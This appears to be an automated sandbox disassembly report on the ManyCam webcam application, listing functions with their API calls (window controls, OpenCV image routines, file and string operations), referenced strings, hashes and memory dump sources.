?append@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV12@PB_W@Z.MSVCP80(00000000,00000000,?,?,?,?,00530C89,000000FF), ref: 004889B7
?append@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV12@PB_W@Z.MSVCP80(00000000,?,?,?,?,00530C89,000000FF), ref: 004889C6

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: U?$char_traits@_V?$allocator@_W@2@@std@@W@std@@$?append@?$basic_string@_V12@$?size@?$basic_string@D@2@@std@@D@std@@Myptr@?$basic_string@_U?$char_traits@V?$allocator@$??0?$basic_string@_??1?$basic_string@_?capacity@?$basic_string@_V12@@
String ID:
API String ID: 2582929383-0
Opcode ID: 99d232171a17d203477813e664fcae17ef49d5089341ea70655ec06df161d3e9
Instruction ID: cf8cf326054b3b9829f24e0287d30cae8bbcd3a7b8d77b238681494193127ac1
Opcode Fuzzy Hash: 99d232171a17d203477813e664fcae17ef49d5089341ea70655ec06df161d3e9
Instruction Fuzzy Hash: 62316F75900118EFDB04EF64D844AADBBB6FF98350F00852AF91697390DB349D45CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00426830 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 004DBD20: Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 004DBD89

Part of subcall function 0041AA10: SendMessageW.USER32(?,000000F1,?,00000000), ref: 0041AA28

EnableWindow.USER32(00000000,?), ref: 00426AE5
EnableWindow.USER32(00000000,?), ref: 00426B0B
EnableWindow.USER32(00000000,?), ref: 00426B31

Part of subcall function 00406640: GetDlgItem.USER32(?,00000000), ref: 00406651

EnableWindow.USER32(00000000,?), ref: 00426BA2
EnableWindow.USER32(00000000,?), ref: 00426BC8
EnableWindow.USER32(00000000,?), ref: 00426BEE

Strings

Date & Time, xrefs: 00426880
Date & Time, xrefs: 00426860

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: EnableWindow$AllocatorBase::Concurrency::details::DebugHeapItemMessagePolicySchedulerSend
String ID: Date & Time$Date & Time
API String ID: 619755922-1824290
Opcode ID: a5128ecf2bfc12e82fa0dba930c93669bde01c1fa38846d0eea276c6fef756bf
Instruction ID: 7e53ba8ca3602d55db941a0292c8f540ac9753e8b76add4a113b5e3c50ff2c41
Opcode Fuzzy Hash: a5128ecf2bfc12e82fa0dba930c93669bde01c1fa38846d0eea276c6fef756bf
Instruction Fuzzy Hash: 78B12CB0E002199FDF08EFE5DD56AAEB7B5EF44308F40452EE202B7281DB785A54CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004013A0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 261COMMON

Download Yara Rule

APIs

cvCvtColor.CV099(?,?,00000007), ref: 0040147C
cvError.CXCORE099(000000FB,cvCylInitModel,Invalid input frame.,.\src\cyltracker.cpp,00000126), ref: 00401675

Strings

Null pointer to tracker context., xrefs: 004013C2
cvCylInitModel, xrefs: 0040166E
Invalid model parameters were specified., xrefs: 00401658
Invalid input frame., xrefs: 00401669
.\src\cyltracker.cpp, xrefs: 004013BD, 00401653, 00401664

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ColorError
String ID: .\src\cyltracker.cpp$Invalid input frame.$Invalid model parameters were specified.$Null pointer to tracker context.$cvCylInitModel
API String ID: 4088650746-2904168572
Opcode ID: 839d2cbad712c6fb12a95abb139124923537f8022364e14e69f8706239253386
Instruction ID: 1c253823393e59d8f389e9ec3cb6c3af1bef9396372c058acdeb4534553bb085
Opcode Fuzzy Hash: 839d2cbad712c6fb12a95abb139124923537f8022364e14e69f8706239253386
Instruction Fuzzy Hash: 0D81E5B2F04202ABC7027E50D9457DA7BA4FB80794F214E99E9DA711F5F33588718EC9

Uniqueness

Uniqueness Score: -1.00%

Function 004F1030 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220COMMON

Download Yara Rule

APIs

fseek.MSVCR80 ref: 004F1097
ftell.MSVCR80 ref: 004F10A4
fseek.MSVCR80 ref: 004F10B8

Strings

zS, xrefs: 004F1236, 004F123E, 004F1242, 004F11A1, 004F11A8, 004F11D3, 004F11DD, 004F11E1, 004F11A7, 004F11AB, 004F11E0, 004F11E4, 004F1241, 004F1245

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: fseek$ftell
String ID: zS
API String ID: 1687442226-3280143790
Opcode ID: e640e00341aeb39dc5ad3ada3b11ef7366c8acaf58e60699a3a6dc06e33046a1
Instruction ID: d51d2314559d3de73f7ebb59d383f0640d42414dd441d265d43309b2b2205bb6
Opcode Fuzzy Hash: e640e00341aeb39dc5ad3ada3b11ef7366c8acaf58e60699a3a6dc06e33046a1
Instruction Fuzzy Hash: 409126B1E00249ABDB04DFD4DC92BFFBB71BF44300F10455AE611AB291DB796901CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004C9500 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

Part of subcall function 004AD340: Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 004AD389

wcscpy.MSVCR80 ref: 004C9586
wcscpy.MSVCR80 ref: 004C960C
_Smanip.LIBCPMTD ref: 004C9650
_Smanip.LIBCPMTD ref: 004C969B
fabs.MSVCR80 ref: 004C9759

Strings

ManyCam Video Driver, xrefs: 004C9600
ManyCam Options, xrefs: 004C957A

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Smanipwcscpy$Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::_fabs
String ID: ManyCam Options$ManyCam Video Driver
API String ID: 3043553602-2679671152
Opcode ID: d8f914545a6770cd3ec1de607a9825b7542528df8afbb8bee092f4a7228edef5
Instruction ID: 1960ef59aa6a2aae985edd86a644215036cafca125c540dc4a2acd471f05383e
Opcode Fuzzy Hash: d8f914545a6770cd3ec1de607a9825b7542528df8afbb8bee092f4a7228edef5
Instruction Fuzzy Hash: 65A14275900118DBCB54EF94DD99BEEB7B4BB48304F1081EEE00A67291DB391E98CF68

Uniqueness

Uniqueness Score: -1.00%

Function 004B2740 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

CoTaskMemFree.OLE32(00000000,00000000), ref: 004B2816
_DebugHeapAllocator.LIBCPMTD ref: 004B280A

Part of subcall function 004167C0: _DebugHeapAllocator.LIBCPMTD ref: 004167CE

_DebugHeapAllocator.LIBCPMTD ref: 004B284D
_DebugHeapAllocator.LIBCPMTD ref: 004B287B
_DebugHeapAllocator.LIBCPMTD ref: 004B2926
_DebugHeapAllocator.LIBCPMTD ref: 004B2938

Strings

ConnectionMediaType:, xrefs: 004B29CD
- PIN Id=%s Name=%s Dir=%s ConnectedTo=%s (%s), xrefs: 004B29AF

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$FreeTask
String ID: - PIN Id=%s Name=%s Dir=%s ConnectedTo=%s (%s)$ConnectionMediaType:
API String ID: 2977454536-3767152877
Opcode ID: 7365bd653b06ff7014c07b105e705209bc8ea7cbefe77dba3365ebff6c9963ec
Instruction ID: 9de56078743278097fdae2ef512013b449c6826a7b1472736913757348bad0bc
Opcode Fuzzy Hash: 7365bd653b06ff7014c07b105e705209bc8ea7cbefe77dba3365ebff6c9963ec
Instruction Fuzzy Hash: 77A114719041189FCB29EB65CD84BDEB7B4AF49304F5081DAE00AA7291DB746F88CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004B91B0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

_DebugHeapAllocator.LIBCPMTD ref: 004B91FE

Part of subcall function 004167C0: _DebugHeapAllocator.LIBCPMTD ref: 004167CE

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 004B921B
_DebugHeapAllocator.LIBCPMTD ref: 004B9286
_DebugHeapAllocator.LIBCPMTD ref: 004B9292
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 004B9346
_DebugHeapAllocator.LIBCPMTD ref: 004B937C

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CManyCamGraphMgr::AddFileInput, xrefs: 004B91DF
FILE%d, xrefs: 004B9262

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Concurrency::details::_CriticalLock::_ReentrantScoped_lockScoped_lock::_clock
String ID: CManyCamGraphMgr::AddFileInput$FILE%d
API String ID: 2060279746-2550898069
Opcode ID: 554f504c3c04030db831f41dac86bb6fd15d60918f1d20abac47e38e3ad480d2
Instruction ID: f87271521a58759e14b5fc00be8376ac9ef0cf63084c1a11c79c4c9345c79b8d
Opcode Fuzzy Hash: 554f504c3c04030db831f41dac86bb6fd15d60918f1d20abac47e38e3ad480d2
Instruction Fuzzy Hash: 97616D70901248EFCB04EF95C995BDEBBB4BF14308F10856EF4166B2D2DB786A09CB95

Uniqueness

Uniqueness Score: -1.00%

Function 01700160 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 130COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,00000000,00000000,00000000), ref: 0170018C
cvGetErrStatus.CXCORE099 ref: 01700196
cvError.CXCORE099(000000FF,cvGetRect,Inner function failed.,.\cxarray.cpp,000005C2), ref: 017001B5
cvError.CXCORE099(000000E5,cvGetRect,017A124F,.\cxarray.cpp,000005C5), ref: 017001E3
cvError.CXCORE099(FFFFFF37,cvGetRect,017A124F,.\cxarray.cpp,000005CC), ref: 017002CD

Strings

cvGetRect, xrefs: 017001AE, 017001DC, 017002C3
.\cxarray.cpp, xrefs: 017001A4, 017001D2, 017002B9
Inner function failed., xrefs: 017001A9

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxarray.cpp$Inner function failed.$cvGetRect
API String ID: 483703942-2902011022
Opcode ID: fc46a10eafc70cb5e00097048ee6fb67eda71083807c4c054a8004001feea9b3
Instruction ID: 8c4e8e449a01fe979bacdfc16349771129895523b11e8b359a291b43cf40121d
Opcode Fuzzy Hash: fc46a10eafc70cb5e00097048ee6fb67eda71083807c4c054a8004001feea9b3
Instruction Fuzzy Hash: 0B415BB6745B005FD704DE19DCA2F2AF3D2EBD0721F89436DF6515B3CAE270A6408691

Uniqueness

Uniqueness Score: -1.00%

Function 01700450 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,00000000,00000000,00000000), ref: 0170047C
cvGetErrStatus.CXCORE099 ref: 01700486
cvError.CXCORE099(000000FF,cvGetCols,Inner function failed.,.\cxarray.cpp,00000630), ref: 017004A5
cvError.CXCORE099(000000E5,cvGetCols,017A124F,.\cxarray.cpp,00000633), ref: 017004D3

Strings

.\cxarray.cpp, xrefs: 01700494, 017004C2, 01700586
cvGetCols, xrefs: 0170049E, 017004CC, 01700590
Inner function failed., xrefs: 01700499

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxarray.cpp$Inner function failed.$cvGetCols
API String ID: 483703942-1345786062
Opcode ID: 3dcf1c34a6529a0a554b772d642ac636f975f1b94a4ed5ab0dbb86a8beebb5b8
Instruction ID: b1d5ce1e1b7d56c80aa6afb211015cc691114ae98ee626f573559258777abc93
Opcode Fuzzy Hash: 3dcf1c34a6529a0a554b772d642ac636f975f1b94a4ed5ab0dbb86a8beebb5b8
Instruction Fuzzy Hash: 06317AB2B007009BC714DE1DEC55A65F3E1EBD0730F99836EF9049B3D6E2B2A6048695

Uniqueness

Uniqueness Score: -1.00%

Function 017002E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,00000000,00000000,00000000), ref: 0170030A
cvGetErrStatus.CXCORE099 ref: 01700314
cvError.CXCORE099(000000FF,cvGetRows,Inner function failed.,.\cxarray.cpp,000005F6), ref: 01700333
cvError.CXCORE099(000000E5,cvGetRows,017A124F,.\cxarray.cpp,000005F9), ref: 01700361
cvError.CXCORE099(FFFFFF2D,cvGetRows,017A124F,.\cxarray.cpp,000005FD), ref: 01700439

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

Strings

cvGetRows, xrefs: 0170032C, 0170035A, 0170042F
.\cxarray.cpp, xrefs: 01700322, 01700350, 01700425
Inner function failed., xrefs: 01700327

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxarray.cpp$Inner function failed.$cvGetRows
API String ID: 483703942-296020910
Opcode ID: eb5d36439df6036cb4afe371fe531023ac1c08c9dc6317c991714dd2b4a46e30
Instruction ID: aca442c9a58a5334d2be91ab54a42a45418e25d3152a4fb6d7c4981f5ebf6094
Opcode Fuzzy Hash: eb5d36439df6036cb4afe371fe531023ac1c08c9dc6317c991714dd2b4a46e30
Instruction Fuzzy Hash: 35413CB2B41711ABC701DE2CDC81616F7D1BB90668BA5437DF514DB2C6E372EA4286D0

Uniqueness

Uniqueness Score: -1.00%

Function 01726700 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

cvStartReadSeq.CXCORE099(?,?,00000000), ref: 01726710
cvGetErrStatus.CXCORE099 ref: 01726718

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvStartReadSeq.CXCORE099(?,?,00000001), ref: 01726730
cvGetErrStatus.CXCORE099 ref: 01726738
cvError.CXCORE099(000000FF,cvSeqInvert,Inner function failed.,.\cxdatastructs.cpp,000009FF), ref: 01726757

Strings

Inner function failed., xrefs: 0172674B
.\cxdatastructs.cpp, xrefs: 01726746
cvSeqInvert, xrefs: 01726750

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ReadStartStatus$Errormalloc
String ID: .\cxdatastructs.cpp$Inner function failed.$cvSeqInvert
API String ID: 3774703898-3957869650
Opcode ID: cd53c32596bd8c519277e8c5b3d02eb5accda796bf8836b47b0bf3377a917c79
Instruction ID: 0b9943f40d5e2a41743fa6b8953366430e537bb6eeab315551418d7b7775aa1c
Opcode Fuzzy Hash: cd53c32596bd8c519277e8c5b3d02eb5accda796bf8836b47b0bf3377a917c79
Instruction Fuzzy Hash: 2031DE75A083519FC705DF28D98482AF7E4FFC8224F484A5EFD8497346E370E9468B92

Uniqueness

Uniqueness Score: -1.00%

Function 004055D0 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,FFFFFFFE,?,?,?,00405837,?), ref: 004055E2
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,FFFFFFFE,?,?,?,00405837,?), ref: 004055F4

Part of subcall function 00405430: cvSet.CXCORE099(?,?,?,?,?,?,?,00000000,?,?,00405609,00000000,?,?,?,?), ref: 00405455
Part of subcall function 00405430: _CIcos.MSVCR80 ref: 004054AB
Part of subcall function 00405430: _CIsin.MSVCR80 ref: 004054C0

Part of subcall function 00405430: _CIcos.MSVCR80 ref: 00405513
Part of subcall function 00405430: _CIsin.MSVCR80 ref: 00405528

cvGEMM.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFE), ref: 00405639
cvSet.CXCORE099(?), ref: 00405662
_CIcos.MSVCR80 ref: 004056A5
_CIsin.MSVCR80 ref: 004056BA
cvGEMM.CXCORE099(?,?), ref: 00405714
cvReleaseMat.CXCORE099(?), ref: 00405721
cvReleaseMat.CXCORE099(?), ref: 0040572E

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: IcosIsin$CreateRelease
String ID:
API String ID: 2556766011-0
Opcode ID: 19b278f26bd2affd4bf5088c6fcf34e39657aa1821ccb0a828da2a4a6fc568fd
Instruction ID: f31050a243995d0c5443df83b4ae895e9b552899debfb7c8d2f859130b8e0e61
Opcode Fuzzy Hash: 19b278f26bd2affd4bf5088c6fcf34e39657aa1821ccb0a828da2a4a6fc568fd
Instruction Fuzzy Hash: 8F416AB0A05701DBD310EF24E98AA1ABBB0FF84704F814D98F5D557296DB31E839CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00403140 Relevance: 13.6, APIs: 9, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00402BB0: cvCreateImage.CXCORE099(?,?,00000008,00000001,?,?,00403181,?,?), ref: 00402BC0
Part of subcall function 00402BB0: cvCreateImage.CXCORE099(?,?,00000008,00000001,?,00000000,?,00000000,?,0040120F), ref: 00402BD4
Part of subcall function 00402BB0: cvCreateImage.CXCORE099(?,?,00000020,00000003,?,?,?,?,?,00000000,?,00000000,?,0040120F), ref: 00402BE9
Part of subcall function 00402BB0: cvReleaseImage.CXCORE099(?,?,?,?,?,?,00000000,?,00000000,?,0040120F), ref: 00402BFE
Part of subcall function 00402BB0: cvReleaseImage.CXCORE099(?,?,00000000,?,00000000,?,0040120F), ref: 00402C10
Part of subcall function 00402BB0: cvReleaseImage.CXCORE099(?,?,00000000,?,00000000,?,0040120F), ref: 00402C22

cvCreateImage.CXCORE099(?,?,00000008,00000001,?,00000000,?,0040120F), ref: 00403198
cvCreateImage.CXCORE099(?,?,80000010,00000001,?,00000000,?,0040120F), ref: 004031AF
cvCreateImage.CXCORE099(?,?,80000010,00000001,?,?,?,?,?,00000000,?,0040120F), ref: 004031C7
cvReleaseImage.CXCORE099(00000000,?,00000000,?,0040120F), ref: 0040321A
cvReleaseImage.CXCORE099(00000004,?,00000000,?,0040120F), ref: 0040322C
cvReleaseImage.CXCORE099(-00000008,?,00000000,?,0040120F), ref: 0040323D
cvReleaseImage.CXCORE099(?,?,00000000,?,0040120F), ref: 00403253
cvReleaseImage.CXCORE099(00000000,?,00000000,?,0040120F), ref: 00403265
cvReleaseImage.CXCORE099(?,?,00000000,?,0040120F), ref: 00403276

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image$Release$Create
String ID:
API String ID: 810653722-0
Opcode ID: 1d98beb3a53aab4c12813adeeefc3e19331db0e6fab2847f039cf9fe8a11b982
Instruction ID: 1a79d18011980f8bb9dda7d5d5bd7389d244d0d6aefedc31b6f3b3b2419f781a
Opcode Fuzzy Hash: 1d98beb3a53aab4c12813adeeefc3e19331db0e6fab2847f039cf9fe8a11b982
Instruction Fuzzy Hash: 0031FAB5901202ABEB109E24DC45B57BB9CFF55302F08447AE904A33C1F379FA59C6A6

Uniqueness

Uniqueness Score: -1.00%

Function 004887A0 Relevance: 13.6, APIs: 9, Instructions: 70COMMON

Download Yara Rule

APIs

?erase@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV12@II@Z.MSVCP80(00000000,74C45DB3,74C45DB3,?,?,00488794,74C45DB3,0049A100,0049A100), ref: 004887D9
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(74C45DB3,?,?,00488794,74C45DB3,0049A100,0049A100), ref: 004887E7
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,00488794,74C45DB3,0049A100,0049A100), ref: 004887F5
